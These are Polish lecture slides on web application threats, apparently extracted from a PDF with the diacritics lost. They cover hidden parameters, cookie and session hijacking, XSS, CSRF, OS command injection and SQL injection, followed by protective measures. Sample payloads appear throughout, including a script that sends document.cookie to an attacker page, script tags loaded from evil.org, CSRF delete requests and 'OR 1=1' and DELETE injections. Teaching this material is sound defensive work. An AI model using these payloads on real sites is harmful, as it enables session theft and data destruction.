Zagro enia aplikacji internetowych Dr in. Marek Mi osz
Plan Aplikacja internetowa Proste zagro enia Ukryte parametry na stronie Manipulacje parametrami (doklejanie, zmiana cie ki) Wstrzykiwanie (ang. Injection) zawarto ci (tre ci, HTML, kodu programowego i SQL) Ataki na sesje (c) M.Mi osz 2
Aplikacja internetowa Dynamiczne strony WWW Kod wykonywany na serwerze Manipulowanie danymi przez klienta Wspó praca z serwerem bazy danych i innych us ug Komunikacja z klientem przy pomocy protoko u http (https) Dane pobierane przy pomocy formularzy HTML i przesy ane metod GET lub POST Klient standardowa przegl darka WWW (c) M.Mi osz 3
Aplikacja internetowa - architektura Przegl darka.ini Klient Statyczne strony Multimedia Serwer WWW.ini Serwer Aplikacja Programy Serwer aplikacji.ini BD Serwer BD.ini Inne serwery.ini (c) M.Mi osz 4
Przyk ady technologii CGI Common Gateway Interface (uruchamianie skryptów zwykle w Perlu, Phyton, PHP czy VB, polece SO) ASP - Active Server Pages (MS, VB Script lub C#); obecni e ASP.NET JSP Java Server Pages J2EE (JSP/ Servlet/EJB) Oracle 9i PHP (c) M.Mi osz 5
Wzrost zagro e Powszechna dost pno aplikacji Anonimowi klienci Przeno no oprogramowania Stosowanie standardów (ogólnie znanych) Wysoki poziom abstrakcj i danych Jawno kodu (HTML, JavaScript) Skomplikowane j zyki programowania oraz konfiguracje wykonawcze (np. MySQL serwer + PHP parser + Apache + pliki HTML, CSS i inne) (c) M.Mi osz 6
Jeden z problem ów Konieczno utrzymania sesji w bezstanowym pr otokole http Rozwi zania: Ukryte pola w formularzach Parametry wywo ania (stan sesji po stronie serwera, ale Id po stronie klienta) Cookies IP, MAC Wszystko po stroni e klienta ;-( (c) M.Mi osz 7
Proste zagro enia Nazewnictwo plików ( atwe do odgadni cia -> pobrania poza aplikacj ), np. form_11.html http://www.codeguru.pl/article-515.aspx Stare wersje plików (mo liwo pobrania bez wykonani a; np. plik.jsp a plik.jsp.old) Istotne informacje w komentarzach kodu HTML (automat ycznie wstawiane przez narz dzia, programistów, znaczniki META) <!-- <P align="center"><a href="askbillgates.aspx"> <IMG alt="zapytaj Billa Gatesa!" src="img/askbillgmonitor.jpg" border="0"></a></p> --> (w CodeGuru ;-)) (c) M.Mi osz 8
R czne pobranie (c) M.Mi osz 9
Badanie rodowiska wst p do ataku Analiza ród a (HEAD, OPTI ONS, META) Analiza zwracanych b dów (np. 404) Analiza komunikatów na nieznany typ pliku (np. asp czy exe) Zmiana danych wej ciowych w celu wywo ania b du skryptu (c) M.Mi osz 10
Strona z b dem Error 404 wykladowcy.wspa.edu.pl Wed Jan 2 09:28:56 2008 Apache (c) M.Mi osz 11
Ukryte parametry Zapami tywanie zmiennych po stroni e klienta: <input type="hidden" name="nr" value="3335w" /> Niewidoczne na formul arzach ale widoczne w tek cie ród owym Zapami tywanie istotnych danych -> zagro enie (c) M.Mi osz 12
Ukryte parametry - modyfikacja GET adres w przegl darce ( atwa zmiana); warto ci max. 100 znaków; struktura: URL?name=value&name=value POST (dla d ugich warto ci zmiennych lub nie- ASCII): Zapisanie pliku HT ML, zmiana warto ci ukrytego parametru i uruchomienie pliku Zastosowanie lokalnego proxy, modyfikuj cego w locie ruch HTML (c) M.Mi osz 13
Lokalne proxy Dzia a lokalnie na stacji intruza Adres 127.0.0.1 i port proxy nale y skonfigurowa w przegl darce Przechwytuje i modyfikuje ruch w locie Najbardziej znany: www.webproxy.com (zablokowane), ale Odysseus (dost pny min. www.bindshell.net/tools/odysseus) (c) M.Mi osz 14
Doklejanie parametr ów Odgadni cie/podejrzenie nazwy zmiennej Brak inicjacji zmiennej w kodzie Doklejenie jej w linii lub przez proxy Przyk ad: http://serwer/login.php?login=x&pass=y&czyok=ok KOD: if (sprawdz_w_bazie($login, $pass)) {$czyok= OK }; if ($czyok == OK ) { JEST OK } else { BŁĄD }; (c) M.Mi osz 15
Obs uga sytuacji specjalnych Wszystkie wyj tki/b dy/b dne dane powinny by obs u one przez aplikacj Sytuacja specjalna np. brak parametru lub niew a ciwy format danych parametru lub niew a ciwa warto (poza zakresem) Mo liwo zaburzenia pracy aplikacji (logiki lub unieruchomienie) (c) M.Mi osz 16
Cookies (1) Czym s? Pliki tekstowe przechowywane u klienta (konieczno udost pnienia opcji zapisu) Przechowuj (nazwa+warto ) dane: Nazwa ciasteczka Domena Czas wa no ci (uwaga na zegar klienta!) Inne (aplikacja) Zapis na danie serwera: Set-Cookie: nazwa=wartość; expires=data; path=ścieżka; domain=domena; secure Przyk ad: eprawniktrackingd1ca0080273ad8e676db26cc6d1463e5eprawnik.pl/prawo/153637831567362991998412206135202 9901880* (c) M.Mi osz 17
Cookies (2) Cookies powinny by dost pne tylko dla danego serwera (ale...) Mo na przechwytywa i modyfikowa przy pomocy lokalnego proxy Mo na pozyska ID sesji lub domy li si innego ID sesji -> wznowi lub przej sesj Mo na modyfikowa parametry (najcz ciej flaga/status autoryzacji klient a), np.: setcookie( autoryzacja, tak ) Modyfikowa cookies mo na te w przypadku protoko u SSL (lokalne proxy realizuje przej cie, atak man in the middle ) (c) M.Mi osz 18
Man in the middle SSL(1) Brak szyfrowania 127.0.0.1 SSL(2) Przegl darka Klient Lokalne proxy Serwer (c) M.Mi osz 19
Podszycie si pod sesj Wymagana jest znajomo identyfikatora sesji (tokena) Zwykle w cookie, ale te w parametrze GET/POST lub ukrytym polu w FORM Sk d? Pods ucha Przewidzie Ukra Mo na omin mechanizmy autentykacji klienta przej cie lub wznowienie sesji (np. administratora aplikacji) (c) M.Mi osz 20
Token Losowy nieprzewidywalny Ograniczony czasowo by unikn mo liwo ci brutalnego ataku Dostatecznie d ugi - by unikn mo liwo ci brutalnego ataku oraz losowego odgadni cia Zale ny od IP klienta by uniemo liwi wznowienie Szyfrowany (cooki przez SSL) by ograniczy mo liwo przechwycenia (c) M.Mi osz 21
Sk d pochodzi? W wi kszo ci przypadków z API (np. parsera PHP): JSESSIONID (JSP), PHPSESSID (PHP), ASPSESSIONID (Microsoft ASP) Niektóre API maj /mia y przewidywalne algorytmy (np. IBM WebSphere 4.0) ;-( (c) M.Mi osz 22
Wstrzykiwanie (ang. Injection) Niechciane przekazanie nieoczekiwanych danych do aplikacji Wstrzykni cie: Niechcianej tre ci Kodu HTML/skryptu Polecenia syst emu operacyjne go Polecenia SQL (c) M.Mi osz 23
Wstrzykni cie tre ci Wprowadzenie tre ci niepo danej do serwisu (wulgaryzmy, seks, nazi zm itp.) Klasyczny problem ró nego typu forów, ankiet otwartych, ocen produkt ów itp. Walka: R czna moderacja (trudna i kosztowna) Przeszukiwanie s ownikowe (ma o efektywne dla sprytnych wandali) (c) M.Mi osz 24
Wstrzykni cie kodu HTML Atak na innego u ytkownika przez napastnika z wykorzystaniem aplikacji internetowej jako nosiciela Istota: Wykonanie kodu HTML (cz sto w po czeniu ze skryptem) przez przegl dark ofiary Mo liwy kiedy aplikacja pobiera dane i je publikuje bez nale ytego sprawdzenia Cross-Site Scripting (XSS) skrypty (klient ufa apl) Cross-Site Request Forgeries (CSRF/XRF) wykorzystanie w a ciwo ci http, pobieranie sk adników strony (apl. ufa klientowi) (c) M.Mi osz 25
Proste wstrzykni cie HTML Wykorzystanie znaczników HTML: Przypadkowe zepsucie strony (zapomnienie wsta wienia zamykaj cego znacznika lub znaku spacjalnego) Wykorzystanie <FORM> do pobrania danych od klienta Nieoczekiwane dla klienta przej cia do innej strony: <a href= http://www.zla.strona.pl > Zobacz </a> Wywo anie skryptu bez wied zy administratora (napastnik pozostawia, a admin na swoje sesji uruchami a) - CSRF: <IMG src="admin.php?delete=13"> <IMG style="display: none;" src="admin.php?delete=13"> Ukrycie komunikatu braku obrazu (c) M.Mi osz 26
Pomy ka <TR> <TD colspan=2 bgcolor="#ffffcc"> <font size="2"> <b> Pomy ka Wiadomo : <br> </b> <a href=" > co </a></font> </TD> </TR> <TR> <TD colspan=2> <form method="post" name="form2" action="news.php?action=usun " style="font-size: 10px"> Przycisk nieaktywny (c) M.Mi osz 27
Rezultat wstawienia <a> (c) M.Mi osz 28
Wstrzykiwanie znak ów Wstawianie niedozwolonych znaków do URI (standard: Uniform Resource Identifiers (URI): Generic Syntax, http://www.ietf.org/rfc/rfc2396.txt ), URL: Zarezerwowanych: ; /? : @ & = + $, Steruj cych: ENTER, Esc, Null Znaczników: <> Kodowanie procentowe: %cc (c- cyfra heksadecymalna), np. %20 SPACE (ASCII kod: 32), a % koduj e si jako %25 Wielokrotne kodowani e, np. %255c daje / to samo: %25%3 5%63 (c) M.Mi osz 29
Wstrzykni cie skryptu Wykorzystanie znaczników <SCRIPT>, <OBJECT>, <A PPLET> czy <EMBED> Przyk ady: Hello World! <SCRIPT>zły kod</script> Hello World! <EMBED SRC="http://www.paedophile.com/rape.mov"> <A HREF="http://trusted.org/search.cgi?criteria=<SCRIPT SRC='http://evil.org/badkama.js'></SCRIPT>"> Go to trusted.org</a> (c) M.Mi osz 30
Inne wstrzykni cia z ego kodu Wykorzystanie zdarze w interfejsie: <b onmouseover="self.location.href='http://ev il.org/'"> bolded text</b> Wywo anie b du i zwrot kodu: http://trusted.org/<script>code</script> (c) M.Mi osz 31
Przyk ad b du Warning: unlink(/home/wspa/www/wykladowcy.wspa.edu.pl/wykladowc a/pliki/marekm/upload/./nowy_) [function.unlink]: No such file or directory in /home/wspa/www/wykladowcy.wspa.edu.pl/wykladowca/pl iki/marekm/wykladowca.php on line 523 Warning: rmdir(/home/wspa/www/wykladowcy.wspa.edu.pl/wykladowc a/pliki/marekm/upload/./2005-6_sesja_zimowa/) [function.rmdir]: Directory not empty in /home/wspa/www/wykladowcy.wspa.edu.pl/wykladowca/ pliki/marekm/wykladowca.php on line 517 (c) M.Mi osz 32
XCC kradzie Cookies Po stronie serwera: <SCRIPT type="text/javascript"> var adr = 'zly.php?ciasteczka=' + escape(document.cookie); var obr = '<IMG src="' + adr + '">'; document.write(obr); </SCRIPT> U klienta (po wykonaniu skryptu): <IMG src= zly.php?ciasteczka=zawartość_cookie > Otwarcie strony powoduje automatyczne przes anie Cookie oraz akcj zly.php (np. zapisanie Cookie oraz odes anie rysunku) Escape() zamienia znaki specjalne na %nn (wys anie URI) Pobranie Cookie Wpisanie warto ci zmiennej obr (c) M.Mi osz 33
Atak CSRF na lokaln aplikacj (c) M.Mi osz 34 Shiflett C.: Foiling Cross-Site Attacks, PHP Architect nr 10/2003
Wstrzykni cie polecenia SO Aplikacja przekazuje do klienta parametry do wywo ania systemowego: Funkcji API Polecenia SO Je li parametry nie s sprawdzone przed wywo aniem to mo na: Doklei swoje parametry Wywo a swoje polecenie SO (np. exec(), system()) (c) M.Mi osz 35
Przyk ad <HTML> <?php passthru ( " /home/user/metoda ". $_GET['USER_INPUT'] );?> Mo na: Wykona polecenie SO (dir, copy czy ld) Wykona ci g polece, wykorzystuj c: Nadpisa plik na serwerze: > plik Ochrona: escapeshellarg() escapeshellcmd() (c) M.Mi osz 36
Wstrzykni cie SQL Atak na warstw danych Przyczyna: Brak weryfikacji parametrów przekazywanych od klienta do aplikacji Konstrukcja zapyta SQL poprzez sklejanie statycznego kodu SQL z warto ciami parametrów Przyk ad: $sql= select * from pytania where id=$id ; $wynik = mysql_query($sql); A co je li by o wcze niej: $id=$_get[ user_input ]; I podano: 1 or 1=1 (c) M.Mi osz 37
Typowe ataki Niekontrolowany dost p do danych: UNION SELECT Zmiana logiki dzia ania aplikacji: OR 1=1 Wykonanie wielu polece z jednej linii (nie we wszystkich SZBD jest to mo liwe, MS SQL Server - tak) usuni cie, modyfikacja danych (dowolne polecenie SQL): ; DELETE * FROM ; UPDATE (c) M.Mi osz 38
Przyk ad Kod: $sql= select count(*) from uwierz where uzytkownik=$uzytkownik. and haslo=$haslo ; Zmienna $uzytkownik= jakis a $haslo z formularza ma warto : OK OR 1=1 Wynikowe zapytanie: select count(*) from uwierz where uzytkownik=jakis AND haslo=ok OR 1=1; (c) M.Mi osz 39
GOOGLE hacking (1) Obej cie zabezpiecze przez roboty: [PDF] Projektowanie aplikacji J2EE w architekturze Model-View-Controller Format pliku: PDF/Adobe Acrobat - Wersja HTML JSP. (View). Klasa. zewnętrzna. (Model). 1. 3. 5. Serwlet. (Controller). 2. 4. 4. Rys. 1. Schemat przykładowej aplikacji w architekturze MVC... www.ploug.org.pl/konf_05/materialy/pdf/03.pdf - Podobne strony Pobranie 03.pdf i wszystkich: 01.pdf, 02.pdf, Ale www.ploug.org.pl/konf_05/materia y/pdf daje: Forbidden You don't have permission to access /konf_05/materialy/pdf/ on this server. Apache Server at www.ploug.org.pl Port 80 (c) M.Mi osz 40
GOOGLE hacking http://www.eioba.pl/a75243/google_hacking_zar ys_problemu Komunikaty b dów: Warning: mysql_query() [function.mysql-query]: Unable to save result set in /www/pasjagsm_www/www/forum/db/mysql4.php on line 148 Critical Error! message_die() was called multiple times. Error #1 Could not obtain common word list Line : 323 File : /www/pasjagsm_www/www/forum/includes/functions_search.php SQL : SELECT word_id FROM phpbb_search_wordmatch GROUP BY word_id HAVING COUNT(word_id) > 37040 SQL message: MySQL server has gone away Error #2 Error doing DB query: pw count fetch Line : 1759 File : /www/pasjagsm_www/www/forum/includes/page_header.php SQL : SELECT COUNT(*) AS pw_count FROM phpbb_privmsgs pm WHERE pm.privmsgs_to_userid = 4605 AND pm.privmsgs_type <> 2 GROUP BY pm.privmsgs_to_userid SQL message: MySQL server has gone away Please, contact the Administrator. Thank you. (c) M.Mi osz 41
Ochrona aplikacji (1) Ograniczenie odpowiedzi serwera z parametrami klienta (zamiast: Witaj Marek mo na: Witaj U ytkowniku) Ograniczenie d ugo ci odpowiedzi klienta (ograniczenie od strony klienta d ugo ci a cucha ale te sprawdzenie w aplikacji) Filtrowanie i usuni cie gro nych znaków (szczególnie < i >, ale te i, czy ;) ale uwaga na specyficzne kody, np. < to te /x3c, ew. zamiana znaków < na < (w ASP: HTMLEncode() w PHP: htmlentities() ) (c) M.Mi osz 42
Ochrona aplikacji (2) Analiza warto ci parametrów wej ciowych (otrzymywanych od klienta) i wyj ciowych (publikowanych na stronie lub zapisywanych do BD) Analiza sk adni i blokowanie niepo danych znaczników, szczególnie <SCRIPT> i <EMBED>, <OBJECT> U ycie metody POST w formularzach Weryfikacja cookies przed u yciem (i kontrola czasu trwania sesji) (c) M.Mi osz 43
Ochrona aplikacji (3) Wygenerowanie identyfikatora sesji na stronie wej ciowej i kontrola na pozosta ych, cz sto zawiera sum kontrolna IP klienta, np. http://trusted.org/app.jsp?session=h3uf8309a i9.830988 w tym przypadku serwer utrzymuje stan sesji (demarkacja sesji, klient dostarcza ID parametr lub cookie) Dok adna znajomo specyfikacji/standardów sieciowych Precyzyjne ustawienia parametrów serwerów, parserów i SO (c) M.Mi osz 44
Ochrona aplikacji - architektura Wprowadzenie kontrolera obs uguj cego ca o komunikacji z klientem Wprowadzenie jednorazowego tokena zapobiega duplikacji przesy anych danych, przechwycenia sesji itp. (musi zaistnie zgodno tokena z wys anym w poprzednim pliku) Separacja warstw: biznesowej i prezentacji, a tak e danych Ukrycie zasobów przed klientem (c) M.Mi osz 45
Zabezpiecz swoj aplikacj Wiedza to umo liwi